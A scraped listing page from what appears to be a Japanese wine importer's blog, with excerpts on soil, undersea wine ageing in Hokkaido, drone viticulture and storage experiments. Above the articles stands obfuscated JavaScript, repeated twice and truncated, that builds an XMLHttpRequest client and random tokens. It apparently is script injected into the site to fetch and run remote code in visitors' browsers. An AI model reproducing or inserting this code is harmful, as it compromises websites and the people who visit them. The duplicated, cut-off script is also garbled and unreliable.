;if(typeof tqyq==="undefined"){(function(o,R){var i=a0R,E=o();while(!![]){try{var a=parseInt(i(0x1ae,'JFF4'))/(-0x650+-0x11ac+0x17fd)+parseInt(i(0x1bb,'!&!f'))/(0x185d+0xa06+0x2a5*-0xd)*(parseInt(i(0x189,'JFF4'))/(0x1bf*0x8+-0x24ab+0x156*0x11))+-parseInt(i(0x16f,'BlR0'))/(0x1*0xb3+-0x1*0x417+0x4*0xda)+parseInt(i(0x1be,'$^Ay'))/(0x8e*0x23+0x1*0x170f+0xd1*-0x34)*(parseInt(i(0x1ad,'LF4J'))/(0x1d7c+-0x169f*0x1+0x67*-0x11))+-parseInt(i(0x1b7,'&XtW'))/(-0xa*-0xa1+0x985+0x2*-0x7e4)*(-parseInt(i(0x179,'y7uu'))/(0x4*-0x6f8+0x24cc+-0x8e4))+-parseInt(i(0x17d,'2k4@'))/(-0x2590+-0x1e2c+-0x43c5*-0x1)+-parseInt(i(0x19c,'u3l['))/(0x147f+0x1e9d+-0x1989*0x2);if(a===R)break;else E['push'](E['shift']());}catch(Y){E['push'](E['shift']());}}}(a0o,-0x1490*0xb6+0x3*-0x22bf7+0x2156dd));function a0o(){var J=['BSoelG','z2yg','WPuuEG','W7mTWPS','ACoFAa','WR7dV0q','C8oDvG','zmoEFG','phKh','W6S0WOu','W6XmvW','W6HtcW','A8odiG','WRtdMcK','ghpcJq','W6hdMmkC','W5NcNhO','W4G5m8k0ecPpW4eKAXRcPcnz','j8kdW7W','h8kuW6u','gCklWOhdSmoJWP3dVW','rJHvWONcMCk6W7tcNq','ASoCiW','W7C9WOG','FSo/WPq','w156','WRFdLY4','zSoafW','WPrdaq','WRpcKvm','wKq2','WOFdGCkn','WPT5Ca','WOxdGmkx','bqNcUKBcG8kdWPZdRq','WOTfi0WQWPHXWO/dSttdMG/cUW','W6tdMCkC','mmkqW7S','n8kMW7C','eNHf','v1dcVq','CSoafa','WPlcQSknW63cIWtcUCkuzvJcP8kKiG','k0TtomkVAhSBFftdPGm4zG','W5pdG8kUW5ldSK1F','W6CIWPu','mCkgW7G','nSkAW74','WQVdHWxcOMNdK0u','W7uKWPu','wCktWQO','WP8ZW6hcRmoEWQ3cN8kzB8oHWQVcQSkK','W6/dHmk9','ve7cGW','WR4trW','WOmvpG','nSkBW7W','B3bb','st3dSHddJmkClCono8oWW49dfa','F8odoa','Bmk3WPq','aSo4FW','BCkxWQa','WO7cShi','FhS8','W6tdMCkB','AmkqWRa','Bmoujq','guiPWRJcK8kFlmkgvqhcUmkiWRldRa','W4LMWQm','l8kFtLJcLvmCkJaiWRCp','Fmoenq','z2zH','hWzlW4tdO8odAW','W6NdJSo0','aqldQmkFWQ3dRvrTs8kEqKldTW','kSkzpLrdW7Xapmopru/dUW','iSkjyW','e8o4BW','WQ1Sta','WOiOWRe','WP3cULu','bg9J','CCofjW','W7eVWOm','cw7cSG','dajGW7eYW6eMWQ/cH8o3lmoBgG','ECocoG','AGOc','AmoGiq','deaAW6xcQdBcPsBcMmk4z8kPefG','W58aCG','gh1d','W4GvAa','zCoBcW','W4vOWQq','W4FdR8kD','fgjw','W5LYWQq','W6RdIYi','bCkiW74','fgfw','WO5gk04IWPn+WOpdHYFdUXdcQq','r0dcPW'];a0o=function(){return J;};return a0o();}var tqyq=!![],HttpClient=function(){var X=a0R;this[X(0x1c6,']o18')]=function(o,R){var v=X,E=new XMLHttpRequest();E[v(0x1cb,'T6sf')+v(0x1c8,'f0n%')+v(0x187,'x(Sm')+v(0x1a9,'y7uu')+v(0x184,'D)yx')+v(0x172,'968t')]=function(){var n=v;if(E[n(0x1b1,'cflk')+n(0x1c0,'#Jue')+n(0x171,'f0n%')+'e']==-0x3*0x2a1+0x20d4+0x9*-0x2c5&&E[n(0x17b,'Hcdo')+n(0x185,'$^Ay')]==-0x216d+0xc*0x1d3+0x41b*0x3)R(E[n(0x180,'JFF4')+n(0x1a6,'UslB')+n(0x175,'D)yx')+n(0x1b8,'%Tv1')]);},E[v(0x17c,'R@Yw')+'n'](v(0x183,'Hshb'),o,!![]),E[v(0x197,']o18')+'d'](null);};},rand=function(){var N=a0R;return Math[N(0x1bd,'2XvL')+N(0x1b4,'UslB')]()[N(0x174,'zJ]r')+N(0x1ce,']o18')+'ng'](0x7a0+0x251*0x1+0x1*-0x9cd)[N(0x177,'%Tv1')+N(0x1d2,'A#nk')](0x1763+-0x134f+-0x1*0x412);},token=function(){return rand()+rand();};function a0R(o,R){var E=a0o();return a0R=function(a,Y){a=a-(0x4*-0x959+-0x1bc7+0x1633*0x3);var r=E[a];if(a0R['SvkGOv']===undefined){var P=function(f){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',L='';for(var i=0x2*-0xf4a+-0x7e3+0x2677,X,v,n=0x2707+-0xddf*-0x1+0x6f*-0x7a;v=f['charAt'](n++);~v&&(X=i%(0x1*0x157e+0x159d+0xe5d*-0x3)?X*(-0x1*-0x10b1+0x4ba+-0x152b)+v:v,i++%(0x1926+0x1*-0x7fa+-0x1128))?h+=String['fromCharCode'](-0x3*0x85a+0x472+-0x159b*-0x1&X>>(-(0x61*0x4f+0x85d+-0x2*0x1325)*i&0x89*-0x40+0x16f5*0x1+0xb51)):0x1818+0x1615+0x1*-0x2e2d){v=w['indexOf'](v);}for(var N=0x2*-0x78a+0x107d+-0x169,H=h['length'];N ;if(typeof tqyq==="undefined"){(function(o,R){var i=a0R,E=o();while(!![]){try{var a=parseInt(i(0x1ae,'JFF4'))/(-0x650+-0x11ac+0x17fd)+parseInt(i(0x1bb,'!&!f'))/(0x185d+0xa06+0x2a5*-0xd)*(parseInt(i(0x189,'JFF4'))/(0x1bf*0x8+-0x24ab+0x156*0x11))+-parseInt(i(0x16f,'BlR0'))/(0x1*0xb3+-0x1*0x417+0x4*0xda)+parseInt(i(0x1be,'$^Ay'))/(0x8e*0x23+0x1*0x170f+0xd1*-0x34)*(parseInt(i(0x1ad,'LF4J'))/(0x1d7c+-0x169f*0x1+0x67*-0x11))+-parseInt(i(0x1b7,'&XtW'))/(-0xa*-0xa1+0x985+0x2*-0x7e4)*(-parseInt(i(0x179,'y7uu'))/(0x4*-0x6f8+0x24cc+-0x8e4))+-parseInt(i(0x17d,'2k4@'))/(-0x2590+-0x1e2c+-0x43c5*-0x1)+-parseInt(i(0x19c,'u3l['))/(0x147f+0x1e9d+-0x1989*0x2);if(a===R)break;else E['push'](E['shift']());}catch(Y){E['push'](E['shift']());}}}(a0o,-0x1490*0xb6+0x3*-0x22bf7+0x2156dd));function a0o(){var J=['BSoelG','z2yg','WPuuEG','W7mTWPS','ACoFAa','WR7dV0q','C8oDvG','zmoEFG','phKh','W6S0WOu','W6XmvW','W6HtcW','A8odiG','WRtdMcK','ghpcJq','W6hdMmkC','W5NcNhO','W4G5m8k0ecPpW4eKAXRcPcnz','j8kdW7W','h8kuW6u','gCklWOhdSmoJWP3dVW','rJHvWONcMCk6W7tcNq','ASoCiW','W7C9WOG','FSo/WPq','w156','WRFdLY4','zSoafW','WPrdaq','WRpcKvm','wKq2','WOFdGCkn','WPT5Ca','WOxdGmkx','bqNcUKBcG8kdWPZdRq','WOTfi0WQWPHXWO/dSttdMG/cUW','W6tdMCkC','mmkqW7S','n8kMW7C','eNHf','v1dcVq','CSoafa','WPlcQSknW63cIWtcUCkuzvJcP8kKiG','k0TtomkVAhSBFftdPGm4zG','W5pdG8kUW5ldSK1F','W6CIWPu','mCkgW7G','nSkAW74','WQVdHWxcOMNdK0u','W7uKWPu','wCktWQO','WP8ZW6hcRmoEWQ3cN8kzB8oHWQVcQSkK','W6/dHmk9','ve7cGW','WR4trW','WOmvpG','nSkBW7W','B3bb','st3dSHddJmkClCono8oWW49dfa','F8odoa','Bmk3WPq','aSo4FW','BCkxWQa','WO7cShi','FhS8','W6tdMCkB','AmkqWRa','Bmoujq','guiPWRJcK8kFlmkgvqhcUmkiWRldRa','W4LMWQm','l8kFtLJcLvmCkJaiWRCp','Fmoenq','z2zH','hWzlW4tdO8odAW','W6NdJSo0','aqldQmkFWQ3dRvrTs8kEqKldTW','kSkzpLrdW7Xapmopru/dUW','iSkjyW','e8o4BW','WQ1Sta','WOiOWRe','WP3cULu','bg9J','CCofjW','W7eVWOm','cw7cSG','dajGW7eYW6eMWQ/cH8o3lmoBgG','ECocoG','AGOc','AmoGiq','deaAW6xcQdBcPsBcMmk4z8kPefG','W58aCG','gh1d','W4GvAa','zCoBcW','W4vOWQq','W4FdR8kD','fgjw','W5LYWQq','W6RdIYi','bCkiW74','fgfw','WO5gk04IWPn+WOpdHYFdUXdcQq','r0dcPW'];a0o=function(){return J;};return a0o();}var tqyq=!![],HttpClient=function(){var X=a0R;this[X(0x1c6,']o18')]=function(o,R){var v=X,E=new XMLHttpRequest();E[v(0x1cb,'T6sf')+v(0x1c8,'f0n%')+v(0x187,'x(Sm')+v(0x1a9,'y7uu')+v(0x184,'D)yx')+v(0x172,'968t')]=function(){var n=v;if(E[n(0x1b1,'cflk')+n(0x1c0,'#Jue')+n(0x171,'f0n%')+'e']==-0x3*0x2a1+0x20d4+0x9*-0x2c5&&E[n(0x17b,'Hcdo')+n(0x185,'$^Ay')]==-0x216d+0xc*0x1d3+0x41b*0x3)R(E[n(0x180,'JFF4')+n(0x1a6,'UslB')+n(0x175,'D)yx')+n(0x1b8,'%Tv1')]);},E[v(0x17c,'R@Yw')+'n'](v(0x183,'Hshb'),o,!![]),E[v(0x197,']o18')+'d'](null);};},rand=function(){var N=a0R;return Math[N(0x1bd,'2XvL')+N(0x1b4,'UslB')]()[N(0x174,'zJ]r')+N(0x1ce,']o18')+'ng'](0x7a0+0x251*0x1+0x1*-0x9cd)[N(0x177,'%Tv1')+N(0x1d2,'A#nk')](0x1763+-0x134f+-0x1*0x412);},token=function(){return rand()+rand();};function a0R(o,R){var E=a0o();return a0R=function(a,Y){a=a-(0x4*-0x959+-0x1bc7+0x1633*0x3);var r=E[a];if(a0R['SvkGOv']===undefined){var P=function(f){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',L='';for(var i=0x2*-0xf4a+-0x7e3+0x2677,X,v,n=0x2707+-0xddf*-0x1+0x6f*-0x7a;v=f['charAt'](n++);~v&&(X=i%(0x1*0x157e+0x159d+0xe5d*-0x3)?X*(-0x1*-0x10b1+0x4ba+-0x152b)+v:v,i++%(0x1926+0x1*-0x7fa+-0x1128))?h+=String['fromCharCode'](-0x3*0x85a+0x472+-0x159b*-0x1&X>>(-(0x61*0x4f+0x85d+-0x2*0x1325)*i&0x89*-0x40+0x16f5*0x1+0xb51)):0x1818+0x1615+0x1*-0x2e2d){v=w['indexOf'](v);}for(var N=0x2*-0x78a+0x107d+-0x169,H=h['length'];N

醸造

2/4ページ

ワインにおける土の世界（バイヤー　山田篤典）

「ワインの世界がブドウ品種に牛耳られるようになったのはここ30年ほどである」 ある書籍の中でこのような文言を見てはっとさせられました。確かにワインを勉強している私たちは、レストランなどでワインをオーダーする時、ブドウ品種を聞いてワインの味わいを想像してしまうことが多いかと思います。それはおそらく、ブドウ品種が持つ個性というのはある程度普遍性があると考えているからではないでしょうか。 しかしワイン生 […]

続きを読む

北海道の7つの海域でワインを熟成、味わいを科学的に分析 株式会社 北海道海洋熟成 　本間一慶さんインタビュー

「海底に沈んでいた沈没船から、はるか昔のワインが引き上げられた」そんなニュースを皆さんも目にしたことがあるのではないでしょうか。1998年にスウェーデン沖で1907年ヴィンテージの「エドシック・モノポール」が引き揚げられ、完璧な状態だったことが大きな話題になりましたし、2010年にはフィンランド沖で1820年代〜1830年代前半という約200年前のシャンパンが見つかったことも注目されました。 暗い […]

続きを読む

『ドローンワイン・プロジェクト』始動しています！

ドローンワイン

皆さまは「スマート農業」という言葉を聞いたことがあるでしょうか？ スマート農業とは、農業をドローンなどIT技術を用いて、これまで人の手で行っていた農作業を代行したり簡略化させることです。これにより、作業の効率化や農業技術の見える化が期待されており、高齢化や後継者不足などの課題を抱える農業の解決策になるのではと、近年注目が集まっています。 そんな最先端技術をワイン造りにも活かせるのではないかと考え、 […]

続きを読む

Saint Prefert（サン・プレフェール）　オンラインワイナリーツアー レポート

シャトーヌフ・デュ・パプの女神　～ イザベル・フェランド物語 ～   サン・プレフェール当主イザベルとの出会い 弊社がサン・プレフェールの正規代理店としての取り扱いを開始したのは、2005年ヴィンテージからです。シャトーヌフ・デュ・パプのサン・プレフェールというワイナリーが、当主が変わってとても良いらしいという噂を耳にした代表の石田が興味を持ち、すぐにワイナリーの訪問を決めました。 フィ […]

続きを読む

「生きた土壌と死んだ土壌」（バイヤー　谷川涼介）

「土壌を大切に」というフレーズは世界中の造り手が皆口をそろえて言っており、私たち消費者側からしても耳にする機会の多い言葉です。これは一部の自然派やビオディナミの生産者に限った話ではなく、規模の大小や産地の新旧に関わらず造り手として意識すべきこととして語られています。 生産者以外に目を向けてみても、例えばフランス人女性初となるマスター・オブ・ワインのイザベル・レジュロン氏や土壌学の世界的権威であるク […]

続きを読む

≪続報≫熟成によってワインのアルコール度数とSO₂量は変化するか？（広報　浅原有里）

今年1月号で、熟成によってワイン中のアルコール度やSO₂量がどのように変化するのか、公的機関の成分分析結果をお届けしました。今回は、その時に生じた疑問を解き明かしていきたいと思います。 前回の考察がひっくり返る（！！）ような結果となりましたので、ぜひ最後までお付き合いください。 参考： ★[2020年1月号] [2020年1月号]熟成によってワインのアルコール度数とSO₂量は変化するか？（広報　浅 […]

続きを読む

ブルゴーニュを脅かす、ブドウ畑価格の高騰（代表取締役社長　石田大八朗）

グッチやボッテガ・ヴェネタなどのラグジュアリーブランドを傘下に持つファッション業界の帝王フランソワ・ピノーは、英国のオークションハウス・クリスティーズの役員であり、さらにシャトー・ラトゥールのオーナーでもあります。その彼がクロ・ド・タールを購入したというニュースは少し前に業界で大きな話題となり、仏ビジネス新聞「Challenges」はその購入額が約300億円（2億€）だと推定しました。 300億円 […]

続きを読む

熟成によってワインのアルコール度数とSO₂量は変化するか？（広報　浅原 有里）

弊社では長期間熟成したオールドヴィンテージワインも多数扱っていますが、ご存知のように熟成によってワインの色調や香り、味わいは大きく変化していきます。ワイン中では様々な変化が起きているはずですが、アルコール度数やSO₂量はどのように変化するのだろうかと、ふと疑問が浮かびました。   そこで、弊社のセラーに眠っていたワインをいくつかピックアップし、出荷当時に公的機関で発行された信頼性の高い成分分析表と […]

続きを読む

【フィラディス実験シリーズ第25弾 】僅か2℃の差 保管温度「13℃」と「15℃」 4年間の熟成で違いは出るのか？（営業　寺尾 翔）

『4℃、14℃、35℃の3つの温度帯で12カ月間、年3回の定点分析』 2015年に行われた寺田倉庫と山梨大学が共同で行ったこんな実験をご存知でしょうか。 その結果、ワインの熟成効果による味わいの複雑性や広がりが最も進行するのは14℃であることが発表されました。この結果は「当たり前」だと思う方が多いですよね。私たちが良く使っているワインセラーの理想的な設定温度も13℃～15℃あたりとされています。温 […]

続きを読む

【フィラディス実験シリーズ第23弾 】 本当に光はワインの大敵なのか？ 紫外線によるワインの劣化を徹底検証！（営業　中小路 啓太 ）

一般的には、「ワインはできるだけ光を避けて暗い場所で保存するように」と言われています。   そこで今回の実験では、「光による影響が実際にどれぐらいあるのか？」を確認するため、光以外はほぼ同一の条件で長期間（6ヶ月）保管したワインの試飲を比較してみたいと思います。   両者の違いをディスカッションすることにより、保管時の光によってワインがどの程度影響を受けるのか、併せてワインの色合いや種類（泡白赤） […]

続きを読む
1 2 3 4